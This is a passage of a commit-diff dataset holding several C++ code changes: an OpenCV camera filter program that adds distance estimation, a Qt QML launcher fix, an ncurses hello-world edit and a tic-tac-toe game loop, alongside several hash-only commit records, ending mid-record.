{"text":"<commit_before>444cc23d-2e4f-11e5-b2f8-28cfe91dbc4b<commit_msg>44557230-2e4f-11e5-9155-28cfe91dbc4b<commit_after>44557230-2e4f-11e5-9155-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>#include <opencv2\/highgui\/highgui.hpp>\n#include <opencv2\/imgproc\/imgproc.hpp>\n#include <iostream>\n#include <stdio.h>\n#include <string>\n\n#include \"include\/logging\/enumCvType.hpp\"\n\n#include \"include\/filters\/selectMode.hpp\"\n#include \"include\/filters\/gaussianBlurWindows.hpp\"\n#include \"include\/filters\/hsvColorThresholdWindows.hpp\"\n#include \"include\/filters\/dilateErodeWindows.hpp\"\n#include \"include\/filters\/cannyEdgeDetectWindows.hpp\"\n#include \"include\/filters\/laplacianSharpenWindows.hpp\"\n#include \"include\/filters\/houghLinesWindows.hpp\"\n#include \"include\/filters\/mergeFinalWindows.hpp\"\n#include \"include\/filters\/depthDistanceWindows.hpp\"\n\nvoid drawBoundedRects(cv::Mat& src, int thresh)\n{\n \tcv::Mat threshold_output;\n \tstd::vector<std::vector<cv::Point> > contours;\n \tstd::vector<cv::Vec4i> hierarchy;\n \n\t\/\/ Convert src to gray format\n\tcv::cvtColor(src, threshold_output, CV_BGR2GRAY);\n\n \t\/\/ Detect edges using Threshold\n \tcv::threshold(threshold_output, threshold_output, thresh, 255, cv::THRESH_BINARY);\n \t\/\/ Find contours\n \tcv::findContours(threshold_output, contours, hierarchy, CV_RETR_TREE, CV_CHAIN_APPROX_SIMPLE, cv::Point(0, 0));\n \n\t\/\/ Get the moments\n \tstd::vector<cv::Moments> mu(contours.size() );\n \tfor( int i = 0; i < contours.size(); i++ )\n \t\t{ mu[i] = moments( contours[i], false ); }\n\n\t\/\/ Get the mass centers:\n \tstd::vector<cv::Point2f> mc( contours.size() );\n \tfor( int i = 0; i < contours.size(); i++ )\n \t\t{ mc[i] = cv::Point2f( mu[i].m10\/mu[i].m00 , mu[i].m01\/mu[i].m00 ); }\n\n \t\/\/ Approximate contours to rotated rectangles and ellipses\n \tstd::vector<cv::RotatedRect> minRect( contours.size());\n \tfor(int i = 0; i < contours.size(); i++)\n \t{\n\t\tminRect[i] = cv::minAreaRect(cv::Mat(contours[i]));\n \t}\n \n \t\/\/ Draw polygonal contour + bounding rects\n \tcv::Mat drawing = cv::Mat::zeros(threshold_output.size(), CV_8UC3);\n \tfor(int i = 0; i < contours.size(); i++)\n \t{\n \t\tcv::Scalar color = cv::Scalar(0, 0, 255);\n \t\tcv::drawContours(drawing, contours, i, color, 1, 8, std::vector<cv::Vec4i>(), 0, cv::Point());\n \t\tcv::Point2f rect_points[4]; minRect[i].points(rect_points);\n\t\tfor(int j = 0; j < 4; j++)\n\t\t{\n\t\t\tcv::line(drawing, rect_points[j], rect_points[(j+1)%4], color, 1, 8);\n\t\t}\n \t}\n\n\t\/\/ Calculate the area with the moments 00 and compare with the result of the OpenCV function\n\tprintf(\"\\t Info: Area and Contour Length \\n\");\n \tfor( int i = 0; i< contours.size(); i++ )\n \t{\n \t\tprintf(\" * Contour[%2d] - Area (M_00) = %4.2f - Area OpenCV: %4.2f - Length: %4.2f\\n\", i, mu[i].m00, contourArea(contours[i]), arcLength( contours[i], true ) );\n\t\tcv::Scalar color = cv::Scalar(0, 255, 0);\n \t\tcv::drawContours(drawing, contours, i, color, 2, 8, hierarchy, 0, cv::Point() );\n\t}\n\n \t\/\/ Show in a window\n \tcv::namedWindow(\"Contours\", CV_WINDOW_AUTOSIZE);\n \tcv::imshow(\"Contours\", drawing);\n}\n\nint main( int argc, char *argv[])\n{\n\t\/\/ Parameters for selecting which filters to apply\n\tint blur = 0; \n\tint color = 0;\n \tint dilate_erode = 0;\n\tint edge = 0;\n\tint laplacian = 0;\n\tint hough = 0; \n\tint depth_dist = 0;\n\tint merge = 0; \n\n\t\/\/ Parameters for applying filters even if windows are closed\n\tint apply_blur = 1; \n\tint apply_color = 1;\n \tint apply_dilate_erode = 0;\n\tint apply_edge = 1;\n\tint apply_laplacian = 0;\n\tint apply_hough = 0; \n\tint apply_depth_dist = 0;\n\tint apply_merge = 1; \n\n\t\/\/ gaussianBlur parameters\n\tint blur_ksize = 7;\n\tint sigmaX = 10;\n\tint sigmaY = 10;\n\n\t\/\/ hsvColorThreshold parameters\n\tint hMin = 130;\n\tint hMax = 190;\n\tint sMin = 10;\n\tint sMax = 30;\n\tint vMin = 85;\n\tint vMax = 100;\n\tint debugMode = 0; \/\/ 0 is none, 1 is debug mode\n\tint bitAnd = 1; \/\/ 0 is none, 1 is bitAnd between h, s, and v\n\n\t\/\/ dilateErode parameters\n\tint holes = 0;\n\tint noise = 0;\n\tint size = 1;\n\tcv::Mat element = cv::getStructuringElement(cv::MORPH_CROSS,\n cv::Size(2 * size + 1, 2 * size + 1), \n cv::Point(size, size) );\n\t\n\t\/\/ cannyEdgeDetect parameters\n\tint threshLow = 100;\n\tint threshHigh = 300;\n\t\n\t\/\/ laplacianSharpen parameters\n\tint laplacian_ksize = 3;\n\tint scale = 1; \/\/ optional scale value added to image\n\tint delta = 0; \/\/ optional delta value added to image\n\tint ddepth = CV_16S;\n\t\n\t\/\/ houghLines parameters\n\tint rho = 1;\n\tint theta = 180;\n\tint threshold = 50;\n\tint lineMin = 50;\n\tint maxGap = 10;\n\n\t\/\/ mergeFinal parameters\n\tint weight1 = 100; \/\/ decide weighted sums of original rgb feed to filtered rgb feed; values = out of 100\n\tint weight2 = 100;\n\n\tstd::cout << \"\\n\";\n\tstd::cout << \" =========== FILTER LIST =========== \" << \"\\n\";\n\tstd::cout << \"| |\" << \"\\n\";\n\tstd::cout << \"| (0) No Filter |\" << \"\\n\";\n\tstd::cout << \"| (1) Gaussian Blur Filter |\" << \"\\n\";\n\tstd::cout << \"| (2) HSV Color Filter |\" << \"\\n\";\n\tstd::cout << \"| (3) Dilate and Erode Filter |\" << \"\\n\";\n\tstd::cout << \"| (4) Canny Edge Detection Filter |\" << \"\\n\";\n\tstd::cout << \"| (5) Laplacian Sharpen Filter |\" << \"\\n\";\n\tstd::cout << \"| (6) Hough Lines Filter |\" << \"\\n\";\n\tstd::cout << \"| (7) Merge Final Outputs |\" << \"\\n\";\n\tstd::cout << \"| |\" << \"\\n\";\n\tstd::cout << \" =================================== \" << \"\\n\";\n\tstd::cout << \"\\n\";\n\n\tstd::cout << \"\\n\";\n\tstd::cout << \" ============== NOTICE ============= \" << \"\\n\";\n\tstd::cout << \"| |\" << \"\\n\";\n\tstd::cout << \"| Press 'q' to quit without saving |\" << \"\\n\";\n\tstd::cout << \"| Press ' ' to pause |\" << \"\\n\";\n\tstd::cout << \"| |\" << \"\\n\";\n\tstd::cout << \" =================================== \" << \"\\n\";\n\tstd::cout << \"\\n\";\n\n\tcv::VideoCapture camera(0);\n\tif( !camera.isOpened() && (argc < 2) )\n\t{\n\t\tstd::cout << \"Error - Unable to open Camera at Port 0\" << std::endl;\n\t\treturn -1;\n\t}\n\n\t\/\/ Matrices for holding image data\n\tcv::Mat rgb, rgb_orig;\n\tcv::Mat image;\n\n\tchar kill = ' '; \/\/ Press q to quit the program\n\tint thresh = 120;\n\n\twhile ((kill != 'q') && (kill != 's'))\n\t{\n\t\tif (kill == ' ') \/\/ Press space to pause program, then any key to resume\n\t\t{\n\t\t\tcv::waitKey(0);\n\t\t}\n\t\tselectMode(blur, color, dilate_erode, edge, laplacian, hough, depth_dist, merge);\n\t\tif (argc > 2) \/\/ Use images\n\t\t{\n\t\t\trgb = cv::imread(argv[1]);\n\t\t\trgb_orig = rgb.clone(); \/\/ Clone rgb input in order to merge at end\n\t\t\tif (!rgb.data || !rgb_orig.data) \/\/ No data\n\t\t\t{\n\t\t\t\tstd::cout << \"No image data\" << std::endl;\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t\telse \n\t\t{\n\t\t\tcamera >> rgb;\n\t\t\trgb_orig = rgb.clone();\n\t\t}\n\t\t\n\t\tcv::imshow(\"BGR Feed\", rgb);\n\t\trgb.copyTo(image);\n\n\t\tcv::namedWindow(\"Source\", CV_WINDOW_AUTOSIZE);\n\t\tcv::createTrackbar(\"Threshold:\", \"Source\", &thresh, 255);\n\n\t\t\/\/ Filters are only applied if last parameter is true, otherwise their windows are destroyed\n\t\tgaussianBlurWindows(image, blur_ksize, sigmaX, sigmaY, apply_blur, blur);\n\t\thsvColorThresholdWindows(image, hMin, hMax, sMin, sMax, vMin, vMax, debugMode, bitAnd, apply_color, color);\n\t\tdilateErodeWindows(image, element, holes, noise, apply_dilate_erode, dilate_erode);\n\t\tdrawBoundedRects(image, thresh);\n\t\tcannyEdgeDetectWindows(image, threshLow, threshHigh, apply_edge, edge);\n\t\tlaplacianSharpenWindows(image, ddepth, laplacian_ksize, scale, delta, apply_laplacian, laplacian);\n#if 0\n\t\t\/\/ List sizes of image\n\t\tcv::Size imageSize = image.size();\n\t\tstd::cout << \"Image: [\" << imageSize.height << \" x \" << imageSize.width << \"]\" << \"\\n\";\n#endif\n\t\thoughLinesWindows(image, rho, theta, threshold, lineMin, maxGap, apply_hough, hough);\n#if 0\n\t\t\/\/ List sizes of image\n\t\timageSize = image.size();\n\t\tstd::cout << \"Image: [\" << imageSize.height << \" x \" << imageSize.width << \"]\" << \"\\n\";\n#endif\n\t\tmergeFinalWindows(rgb_orig, image, weight1, weight2, apply_merge, merge);\n\t\tkill = cv::waitKey(5);\n\t}\n\treturn 0;\t\n}\n<commit_msg>Add in distance calculation code<commit_after>#include <opencv2\/highgui\/highgui.hpp>\n#include <opencv2\/imgproc\/imgproc.hpp>\n#include <iostream>\n#include <stdio.h>\n#include <string>\n#include <cmath>\n\n#include \"include\/logging\/enumCvType.hpp\"\n\n#include \"include\/filters\/selectMode.hpp\"\n#include \"include\/filters\/gaussianBlurWindows.hpp\"\n#include \"include\/filters\/hsvColorThresholdWindows.hpp\"\n#include \"include\/filters\/dilateErodeWindows.hpp\"\n#include \"include\/filters\/cannyEdgeDetectWindows.hpp\"\n#include \"include\/filters\/laplacianSharpenWindows.hpp\"\n#include \"include\/filters\/houghLinesWindows.hpp\"\n#include \"include\/filters\/mergeFinalWindows.hpp\"\n#include \"include\/filters\/depthDistanceWindows.hpp\"\n\nvoid calculateDistance (cv::Mat& image, cv::RotatedRect& boundedRect);\ndouble distance(cv::Point one, cv::Point two);\n\nvoid drawBoundedRects(cv::Mat& src, int thresh)\n{\n \tcv::Mat threshold_output;\n \tstd::vector<std::vector<cv::Point> > contours;\n \tstd::vector<cv::Vec4i> hierarchy;\n \n\t\/\/ Convert src to gray format\n\tcv::cvtColor(src, threshold_output, CV_BGR2GRAY);\n\n \t\/\/ Detect edges using Threshold\n \tcv::threshold(threshold_output, threshold_output, thresh, 255, cv::THRESH_BINARY);\n \t\/\/ Find contours\n \tcv::findContours(threshold_output, contours, hierarchy, CV_RETR_TREE, CV_CHAIN_APPROX_SIMPLE, cv::Point(0, 0));\n \n\t\/\/ Get the moments\n \tstd::vector<cv::Moments> mu(contours.size() );\n \tfor( int i = 0; i < contours.size(); i++ )\n \t\t{ mu[i] = moments( contours[i], false ); }\n\n\t\/\/ Get the mass centers:\n \tstd::vector<cv::Point2f> mc( contours.size() );\n \tfor( int i = 0; i < contours.size(); i++ )\n \t\t{ mc[i] = cv::Point2f( mu[i].m10\/mu[i].m00 , mu[i].m01\/mu[i].m00 ); }\n\n \t\/\/ Approximate contours to rotated rectangles and ellipses\n \tstd::vector<cv::RotatedRect> minRect( contours.size());\n \tfor(int i = 0; i < contours.size(); i++)\n \t{\n\t\tminRect[i] = cv::minAreaRect(cv::Mat(contours[i]));\n \t}\n \n \t\/\/ Draw polygonal contour + bounding rects\n \tcv::Mat drawing = cv::Mat::zeros(threshold_output.size(), CV_8UC3);\n \tfor(int i = 0; i < contours.size(); i++)\n\t{\n \t\t\/\/cv::Scalar color = cv::Scalar(0, 255, 255);\n \t\t\/\/cv::drawContours(drawing, contours, i, color, 1, 8, std::vector<cv::Vec4i>(), 0, cv::Point());\n \t\tcv::Point2f rect_points[4]; \n\t\tminRect[i].points(rect_points);\n\t\tfor(int j = 0; j < 4; j++)\n\t\t{\n\t\t\t\/\/cv::line(drawing, rect_points[j], rect_points[(j+1)%4], color, 1, 8);\n\t\t}\n \t}\n\t\/\/ Bounded rectangle is the one at the 0th index\n\tif (minRect.size() > 0)\n\t\tcalculateDistance(drawing, minRect[0]);\n\n\t\/\/ Calculate the area with the moments 00 and compare with the result of the OpenCV function\n\t\/\/ printf(\"\\t Info: Area and Contour Length \\n\");\n \tfor( int i = 0; i < contours.size(); i++ )\n \t{\n \t\t\/\/ printf(\" * Contour[%2d] - Area (M_00) = %4.2f - Area OpenCV: %4.2f - Length: %4.2f\\n\", i, mu[i].m00, contourArea(contours[i]), arcLength( contours[i], true ) );\n \t\t\/\/ printf(\"Contour[%2d] - Length: %4.2f\\n\", i, arcLength( contours[i], true ) );\n\t\t\/\/cv::Scalar color = cv::Scalar(0, 255, 0);\n \t\t\/\/cv::drawContours(drawing, contours, i, color, 2, 8, hierarchy, 0, cv::Point() );\n\t}\n\n \t\/\/ Show in a window\n \tcv::namedWindow(\"Contours\", CV_WINDOW_AUTOSIZE);\n \tcv::imshow(\"Contours\", drawing);\n}\n\ndouble distance(cv::Point one, cv::Point two)\n{\n return std::sqrt(std::pow(one.x - two.x, 2) + std::pow(one.y - two.y, 2));\n}\n\nvoid calculateDistance (cv::Mat& image, cv::RotatedRect& boundedRect)\n{\n\tdouble focalLen = 673.20;\n\t\/\/ 20 inches real width\n\tdouble wReal = 20;\n\tdouble wPixel = 0;\n\tdouble d = 204;\n\t\n\tcv::Point2f vert[4];\n\tboundedRect.points(vert);\n\tcv::line(image, vert[0], vert[3], cv::Scalar (255, 0, 0));\n\twPixel = distance(vert[0], vert[3]);\n\t\/\/ focalLen = (wPixel * d) \/ wReal;\n\td = (wReal * focalLen) \/ wPixel;\n\n\tchar str[50];\n\tsprintf(str, \"Line Length = %4.2f\", wPixel);\n \tcv::putText(image, str, cv::Point(10, 420), CV_FONT_HERSHEY_COMPLEX_SMALL, 0.75, cv::Scalar(255, 0, 0), 1, 8, false);\n\n\tsprintf(str, \"Focal Length = %4.2f\", focalLen);\n \tcv::putText(image, str, cv::Point(10, 440), CV_FONT_HERSHEY_COMPLEX_SMALL, 0.75, cv::Scalar(255, 0, 0), 1, 8, false);\n\n\tsprintf(str, \"Distance = %4.2f\", d);\n \tcv::putText(image, str, cv::Point(10, 460), CV_FONT_HERSHEY_COMPLEX_SMALL, 0.75, cv::Scalar(255, 0, 0), 1, 8, false);\n}\n\nint main( int argc, char *argv[])\n{\n\t\/\/ Parameters for selecting which filters to apply\n\tint blur = 0; \n\tint color = 0;\n \tint dilate_erode = 0;\n\tint edge = 0;\n\tint laplacian = 0;\n\tint hough = 0; \n\tint depth_dist = 0;\n\tint merge = 0; \n\n\t\/\/ Parameters for applying filters even if windows are closed\n\tint apply_blur = 1; \n\tint apply_color = 1;\n \tint apply_dilate_erode = 0;\n\tint apply_edge = 1;\n\tint apply_laplacian = 0;\n\tint apply_hough = 0; \n\tint apply_depth_dist = 0;\n\tint apply_merge = 1; \n\n\t\/\/ gaussianBlur parameters\n\tint blur_ksize = 7;\n\tint sigmaX = 10;\n\tint sigmaY = 10;\n\n\t\/\/ hsvColorThreshold parameters\n\tint hMin = 130;\n\tint hMax = 190;\n\tint sMin = 10;\n\tint sMax = 30;\n\tint vMin = 85;\n\tint vMax = 100;\n\tint debugMode = 0; \/\/ 0 is none, 1 is debug mode\n\tint bitAnd = 1; \/\/ 0 is none, 1 is bitAnd between h, s, and v\n\n\t\/\/ dilateErode parameters\n\tint holes = 0;\n\tint noise = 0;\n\tint size = 1;\n\tcv::Mat element = cv::getStructuringElement(cv::MORPH_CROSS,\n cv::Size(2 * size + 1, 2 * size + 1), \n cv::Point(size, size) );\n\t\n\t\/\/ cannyEdgeDetect parameters\n\tint threshLow = 100;\n\tint threshHigh = 300;\n\t\n\t\/\/ laplacianSharpen parameters\n\tint laplacian_ksize = 3;\n\tint scale = 1; \/\/ optional scale value added to image\n\tint delta = 0; \/\/ optional delta value added to image\n\tint ddepth = CV_16S;\n\t\n\t\/\/ houghLines parameters\n\tint rho = 1;\n\tint theta = 180;\n\tint threshold = 50;\n\tint lineMin = 50;\n\tint maxGap = 10;\n\n\t\/\/ mergeFinal parameters\n\tint weight1 = 100; \/\/ decide weighted sums of original rgb feed to filtered rgb feed; values = out of 100\n\tint weight2 = 100;\n\n\tstd::cout << \"\\n\";\n\tstd::cout << \" =========== FILTER LIST =========== \" << \"\\n\";\n\tstd::cout << \"| |\" << \"\\n\";\n\tstd::cout << \"| (0) No Filter |\" << \"\\n\";\n\tstd::cout << \"| (1) Gaussian Blur Filter |\" << \"\\n\";\n\tstd::cout << \"| (2) HSV Color Filter |\" << \"\\n\";\n\tstd::cout << \"| (3) Dilate and Erode Filter |\" << \"\\n\";\n\tstd::cout << \"| (4) Canny Edge Detection Filter |\" << \"\\n\";\n\tstd::cout << \"| (5) Laplacian Sharpen Filter |\" << \"\\n\";\n\tstd::cout << \"| (6) Hough Lines Filter |\" << \"\\n\";\n\tstd::cout << \"| (7) Merge Final Outputs |\" << \"\\n\";\n\tstd::cout << \"| |\" << \"\\n\";\n\tstd::cout << \" =================================== \" << \"\\n\";\n\tstd::cout << \"\\n\";\n\n\tstd::cout << \"\\n\";\n\tstd::cout << \" ============== NOTICE ============= \" << \"\\n\";\n\tstd::cout << \"| |\" << \"\\n\";\n\tstd::cout << \"| Press 'q' to quit without saving |\" << \"\\n\";\n\tstd::cout << \"| Press ' ' to pause |\" << \"\\n\";\n\tstd::cout << \"| |\" << \"\\n\";\n\tstd::cout << \" =================================== \" << \"\\n\";\n\tstd::cout << \"\\n\";\n\n\tcv::VideoCapture camera(1);\n\tif( !camera.isOpened() )\n\t{\n\t\tstd::cout << \"Error - Unable to open Camera at Port 0\" << std::endl;\n\t\treturn -1;\n\t}\n\n\t\/\/ Matrices for holding image data\n\tcv::Mat rgb, rgb_orig;\n\tcv::Mat image;\n\n\tchar kill = ' '; \/\/ Press q to quit the program\n\tint thresh = 120;\n\n\twhile ((kill != 'q') && (kill != 's'))\n\t{\n\t\tif (kill == ' ') \/\/ Press space to pause program, then any key to resume\n\t\t{\n\t\t\tcv::waitKey(0);\n\t\t}\n\t\tselectMode(blur, color, dilate_erode, edge, laplacian, hough, depth_dist, merge);\n\t\tif (argc > 2) \/\/ Use images\n\t\t{\n\t\t\trgb = cv::imread(argv[1]);\n\t\t\trgb_orig = rgb.clone(); \/\/ Clone rgb input in order to merge at end\n\t\t\tif (!rgb.data || !rgb_orig.data) \/\/ No data\n\t\t\t{\n\t\t\t\tstd::cout << \"No image data\" << std::endl;\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t\telse \n\t\t{\n\t\t\tcamera >> rgb;\n\t\t\trgb_orig = rgb.clone();\n\t\t}\n\t\t\n\t\tcv::imshow(\"BGR Feed\", rgb);\n\t\trgb.copyTo(image);\n\n\t\tcv::namedWindow(\"Source\", CV_WINDOW_AUTOSIZE);\n\t\tcv::createTrackbar(\"Threshold:\", \"Source\", &thresh, 255);\n\n\t\t\/\/ Filters are only applied if last parameter is true, otherwise their windows are destroyed\n\t\tgaussianBlurWindows(image, blur_ksize, sigmaX, sigmaY, apply_blur, blur);\n\t\thsvColorThresholdWindows(image, hMin, hMax, sMin, sMax, vMin, vMax, debugMode, bitAnd, apply_color, color);\n\t\tdilateErodeWindows(image, element, holes, noise, apply_dilate_erode, dilate_erode);\n\t\tdrawBoundedRects(image, thresh);\n\t\tcannyEdgeDetectWindows(image, threshLow, threshHigh, apply_edge, edge);\n\t\tlaplacianSharpenWindows(image, ddepth, laplacian_ksize, scale, delta, apply_laplacian, laplacian);\n#if 0\n\t\t\/\/ List sizes of image\n\t\tcv::Size imageSize = image.size();\n\t\tstd::cout << \"Image: [\" << imageSize.height << \" x \" << imageSize.width << \"]\" << \"\\n\";\n#endif\n\t\thoughLinesWindows(image, rho, theta, threshold, lineMin, maxGap, apply_hough, hough);\n#if 0\n\t\t\/\/ List sizes of image\n\t\timageSize = image.size();\n\t\tstd::cout << \"Image: [\" << imageSize.height << \" x \" << imageSize.width << \"]\" << \"\\n\";\n#endif\n\t\tmergeFinalWindows(rgb_orig, image, weight1, weight2, apply_merge, merge);\n\t\tkill = cv::waitKey(5);\n\t}\n\treturn 0;\t\n}\n<|endoftext|>"} {"text":"<commit_before>79638342-2d53-11e5-baeb-247703a38240<commit_msg>79640222-2d53-11e5-baeb-247703a38240<commit_after>79640222-2d53-11e5-baeb-247703a38240<|endoftext|>"} {"text":"<commit_before>00350b22-585b-11e5-93ac-6c40088e03e4<commit_msg>003c8e4a-585b-11e5-9209-6c40088e03e4<commit_after>003c8e4a-585b-11e5-9209-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>d4c6286b-327f-11e5-ba74-9cf387a8033e<commit_msg>d4d053fa-327f-11e5-9429-9cf387a8033e<commit_after>d4d053fa-327f-11e5-9429-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>8d6dfdb6-2d14-11e5-af21-0401358ea401<commit_msg>8d6dfdb7-2d14-11e5-af21-0401358ea401<commit_after>8d6dfdb7-2d14-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>b3891490-35ca-11e5-88b5-6c40088e03e4<commit_msg>b38fd336-35ca-11e5-a6db-6c40088e03e4<commit_after>b38fd336-35ca-11e5-a6db-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>#include <QGuiApplication>\n#include <QQuickView>\n#include <QQmlContext>\n#include <QQmlApplicationEngine>\n\n#include <QObject>\n#include \"log.h\"\n#include \"windowcontroller.h\"\n\n\nint main(int argc, char *argv[])\n{\n auto v1=QString(LVIEW_VERSION);\n auto v2=QString(GIT_VERSION);\n auto lview_version=v1+\"-\"+v2;\n\n QGuiApplication app(argc, argv);\n\n\n QQmlApplicationEngine engine;\n \/\/ auto ctx=engine.rootContext();\n \/\/ ctx->setContextProperty(\"logfile\", QVariant::fromValue(ll));\n engine.load(QUrl(QLatin1String(\"qrc:\/main.qml\")));\n if (engine.rootObjects().isEmpty())\n return -1;\n\n auto ctx=engine.rootContext();\n ctx->setContextProperty(\"lview_version\", QVariant::fromValue(lview_version));\n engine.load(QUrl(QLatin1String(\"qrc:\/main.qml\")));\n\n\n QObject* rootObject=engine.rootObjects().first();\n qDebug()<<\"rootObject:\"<<rootObject->objectName();\n WindowController *wc=new WindowController(rootObject);\n\n QObject::connect(rootObject, SIGNAL(updateAllSignal(QString)),\n wc, SLOT(updateAllSlot(QString)));\n QObject::connect(rootObject, SIGNAL(openFileSignal(QString)),\n wc, SLOT(openFileSlot(QString)));\n QObject::connect(rootObject, SIGNAL(closeFileSignal(QString)),\n wc, SLOT(closeFileSlot(QString)));\n QObject::connect(rootObject, SIGNAL(addHighlightedTextSignal(QString)),\n wc, SLOT(addHighlightedTextSlot(QString)));\n QObject::connect(rootObject, SIGNAL(clearHighlightedTextSignal()),\n wc, SLOT(clearHighlightedTextSlot()));\n return app.exec();\n}\n<commit_msg>!twice<commit_after>#include <QGuiApplication>\n#include <QQuickView>\n#include <QQmlContext>\n#include <QQmlApplicationEngine>\n\n#include <QObject>\n#include \"log.h\"\n#include \"windowcontroller.h\"\n\n\nint main(int argc, char *argv[])\n{\n auto v1=QString(LVIEW_VERSION);\n auto v2=QString(GIT_VERSION);\n auto lview_version=v1+\"-\"+v2;\n\n QGuiApplication app(argc, argv);\n\n\n QQmlApplicationEngine engine;\n \/\/ auto ctx=engine.rootContext();\n \/\/ ctx->setContextProperty(\"logfile\", QVariant::fromValue(ll));\n engine.load(QUrl(QLatin1String(\"qrc:\/main.qml\")));\n if (engine.rootObjects().isEmpty())\n return -1;\n\n auto ctx=engine.rootContext();\n ctx->setContextProperty(\"lview_version\", QVariant::fromValue(lview_version));\n\n\n QObject* rootObject=engine.rootObjects().first();\n qDebug()<<\"rootObject:\"<<rootObject->objectName();\n WindowController *wc=new WindowController(rootObject);\n\n QObject::connect(rootObject, SIGNAL(updateAllSignal(QString)),\n wc, SLOT(updateAllSlot(QString)));\n QObject::connect(rootObject, SIGNAL(openFileSignal(QString)),\n wc, SLOT(openFileSlot(QString)));\n QObject::connect(rootObject, SIGNAL(closeFileSignal(QString)),\n wc, SLOT(closeFileSlot(QString)));\n QObject::connect(rootObject, SIGNAL(addHighlightedTextSignal(QString)),\n wc, SLOT(addHighlightedTextSlot(QString)));\n QObject::connect(rootObject, SIGNAL(clearHighlightedTextSignal()),\n wc, SLOT(clearHighlightedTextSlot()));\n return app.exec();\n}\n<|endoftext|>"} {"text":"<commit_before>5d286642-2d16-11e5-af21-0401358ea401<commit_msg>5d286643-2d16-11e5-af21-0401358ea401<commit_after>5d286643-2d16-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>0c276c1e-585b-11e5-acd1-6c40088e03e4<commit_msg>0c2ecd88-585b-11e5-b514-6c40088e03e4<commit_after>0c2ecd88-585b-11e5-b514-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>8431fc37-2d15-11e5-af21-0401358ea401<commit_msg>8431fc38-2d15-11e5-af21-0401358ea401<commit_after>8431fc38-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>ee7db75c-327f-11e5-9254-9cf387a8033e<commit_msg>ee83b9e8-327f-11e5-8456-9cf387a8033e<commit_after>ee83b9e8-327f-11e5-8456-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>60056580-2e4f-11e5-82c9-28cfe91dbc4b<commit_msg>600c0611-2e4f-11e5-bf59-28cfe91dbc4b<commit_after>600c0611-2e4f-11e5-bf59-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>c1c341a8-327f-11e5-ad4c-9cf387a8033e<commit_msg>c1c97bf5-327f-11e5-b1dc-9cf387a8033e<commit_after>c1c97bf5-327f-11e5-b1dc-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>1f4b08f3-2748-11e6-ac3d-e0f84713e7b8<commit_msg>Finished?<commit_after>1f5c3885-2748-11e6-b5b1-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>c5eb3c0f-2e4e-11e5-b233-28cfe91dbc4b<commit_msg>c5f0b65c-2e4e-11e5-8dc4-28cfe91dbc4b<commit_after>c5f0b65c-2e4e-11e5-8dc4-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include \"ncurses.h\"\n\nusing namespace std;\n\nint main() \n{\ninitscr();\nprintw(\"HI PEOPLE\");\nrefresh();\ngetch();\nendwin();\nreturn 0; \n}\n\n<commit_msg>Changed a few things<commit_after>#include \"ncurses.h\"\n\nint main() \n{\ninitscr();\nprintw(\"HI PEOPLE\"); \/\/HI CODERS\nrefresh();\ngetch();\nendwin();\nreturn 0; \n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"board.h\"\n#include \"player.h\"\n#include <iostream>\n#include <string>\n#include <stdlib.h>\nusing namespace std;\n\n\nvoid gameLoop(Board ¤t_game, Player &player1, Player &player2){\n int winner = 0;\n int move;\n \n while((winner = current_game.win()) == 0){\n if(player1.piece == \"X\"){\n current_game.print();\n current_game.getMoves();\n cout << endl << \"Player 1: Select move#: \";\n cin >> move;\n if (current_game.validateMove(move)){\n current_game.insertMove(player1.team, move);\n }\n if((winner = current_game.win()) != 0)\n break;\n if(player2.ishuman){\n current_game.print();\n current_game.getMoves();\n cout << endl << \"Player 2: Select move#: \";\n cin >> move;\n if (current_game.validateMove(move)){\n current_game.insertMove(player2.team, move);\n }\n }else{\n \/\/call ai move\n }\n }else{\n if(player2.ishuman){\n current_game.print();\n current_game.getMoves();\n cout << endl << \"Player 2: Select move#: \";\n cin >> move;\n if (current_game.validateMove(move)){\n current_game.insertMove(player2.team, move);\n }\n }else{\n \/\/call ai move\n }\n if((winner = current_game.win()) != 0)\n break;\n current_game.print();\n current_game.getMoves();\n cout << endl << \"Player 1: Select move#: \";\n cin >> move;\n if (current_game.validateMove(move)){\n current_game.insertMove(player1.team, move);\n }\n }\n }\n current_game.print();\n cout << endl << winner << \" won.\";\n}\n\nstring oppositePiece(string piece){\n if(piece == \"X\"){\n return \"O\";\n }\n return \"X\";\n}\n\nint main(){\n int board_size = 3;\n int humans = 1;\n string player = \"X\";\n cout << \"Pick the size of the grid (default = 3): \";\n cin >> board_size;\n Board board(board_size); \/\/initialize a new board\n board.print();\n cout << endl << \"1 or 2 human players? \";\n cin >> humans;\n if(humans == 1){\n cout << endl << \"X or O (X moves first): \";\n cin >> player;\n player = toupper(player[0]);\n Player human(player); \/\/initializes human player to their piece\n cout << \"You are \" << human.convertToPiece();\n AI ai(oppositePiece(human.piece)); \/\/initializes ai player to opposite piece\n cout << endl << \"AI is \" << ai.piece; \n gameLoop(board, human, ai); \/\/game logic within the game is done here\n }else if(humans == 2){\n cout << endl << \"Player 1: X or O (X moves first): \";\n cin >> player;\n player = toupper(player[0]);\n Player human1(player); \/\/initializes human player to their piece\n Player human2(oppositePiece(human1.piece)); \/\/initializes player 2 to opposite piece\n cout << endl << \"Player 1 is: \" << human1.piece;\n cout << endl << \"Player 2 is: \" << human2.piece; \n gameLoop(board, human1, human2); \/\/game logic within the game is done here \n }\n return 0;\n}<commit_msg>Added player win output<commit_after>#include \"board.h\"\n#include \"player.h\"\n#include <iostream>\n#include <string>\n#include <stdlib.h>\nusing namespace std;\n\n\nvoid gameLoop(Board ¤t_game, Player &player1, Player &player2){\n int winner = 0;\n int move;\n \n while((winner = current_game.win()) == 0){\n if(player1.piece == \"X\"){\n current_game.print();\n current_game.getMoves();\n cout << endl << \"Player 1: Select move#: \";\n cin >> 